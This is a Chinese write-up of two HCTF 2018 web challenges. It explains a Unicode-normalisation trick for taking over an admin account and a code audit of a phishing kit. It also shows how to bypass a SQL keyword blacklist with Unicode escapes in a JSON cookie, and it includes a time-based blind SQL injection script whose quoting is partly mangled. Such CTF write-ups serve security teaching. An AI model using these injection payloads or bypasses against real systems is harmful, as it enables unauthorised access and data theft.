HCTF2018线上赛部分WriteUp

HCTF题解

admin

思路

提示只有admin才能查看

注册账号功能,发现注册大写和小写会提示重名注册。
也就是说 ADMIN<=>admin

有一篇文章将Unicode安全,提到的一个python函数canonical_username,这个函数会把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big。ᴬᴬᴬ,经过函数处理
后变成了AAA

  1. 我们注册形似ADMIN的名字
  2. 后台函数处理把形似ADMIN转换为ADMIN
  3. 修改ADMIN的密码,相当于修改admin的密码
  4. 登陆admin获得flag

相当于一个越权

相关链接

Unicode安全:http://blog.lnyas.xyz/?p=1411
Unicode近似字合集:https://www.compart.com/en/unicode/category/Lm

kznoe

解析

拿到题目发现砝码泄露,down了一份www.zip开始审

一眼看到sql文件,打开看看执行了哪些语句,发现后台账号密码

INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);

登陆失败,被改了密码,开始审计

审计

整个钓鱼网站的大致结构:

根目录index.php跳转页

admin目录

admin目录下是钓鱼后台的管理,login逻辑判断登陆

include目录。

include下是配置文件,common入口文件包含了过滤和验证内容,其中:

  1. safe.php写了过滤规则,任何GET\POST\COOKIE请求的参数会经过filter
    function waf($string)
    {
     $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; // and updatexml(1,concat(0x7e,database())
     return preg_replace_callback($blacklist, function ($match) {
         return '@' . $match[0] . '@';
     }, $string);
    }
    

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

匹配到这些会在关键字前后添加@

2. member根据cookie判断是否已经登陆
3. founction封装了一些功能函数
4. db.class一些执行的sql语句

## 思路
### ip
刚开始审的时候看到了insert把ip入库,而且ip的获取是这样的:
![](https://i.loli.net/2018/11/13/5beac380388eb.jpg)
不用经过safe的过滤,但是下面的ip2long会把超限度的ip置空,因此ip注入行不通

### bypass
因为有全局过滤safe,所以一开始在想可不可以bypass掉,用hex绕过is_number的检测,使我们注入的语句不会经过filter。确实成功执行了我用hex传入的语句,但是mysql仅仅是把hex的值入库了,也无法进行二次利用。

### member.php
当时他们说可以用json形式的cookie注入,unicode编码绕过于是去看cookie逻辑登陆的地方

![](https://i.loli.net/2018/11/13/5beac35ebedb4.png)

cookie传入参数login_data解析查库,用了json_decode,那么就可以用unicode编码无视过滤
![](https://i.loli.net/2018/11/13/5beac38e39abe.png)

剩下的就是编写tamper脚本了,把payload替换成unicode。但是看到了微笑师傅的一个py脚本,不借助sqlmap,觉得写的很好,贴出来

-- coding: utf-8 --

import requests
import string

url = ‘http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+’{}!@#$*&_,’

def check(payload):
cookie={
‘PHPSESSID’:’8ehnp28ccr4ueh3gnfc3uqtau1’,
‘islogin’:’1’,
‘login_data’:payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=’’
for i in range(1,33):
for j in str1:
payload = ‘{“admin_user”:”admin'//and//\u0069f(\u0061scii(\u0073ubstr((select//table_name//from//inf\u006Frmation_schema.tables//where//table_schema\u003ddatabase()//limit//0,1),%s,1))\u003d'%s',\u0073leep(4),1)//and//'1”}’% (str(i),ord(j))
payload = ‘{“admin_user”:”admin'/
/and//\u0069f(\u0061scii(\u0073ubstr((select//F1a9//from//F1444g),%s,1))\u003d%s,\u0073leep(4),1)//and//'1”,”admin_pass”:”123”}’% (str(i),ord(j))
#print(‘[+]’+payload)
if check(payload):
result += j
break
print(result)


只要是请求的页面包含common.php此脚本都能行得通,因为会引入member.php




not found!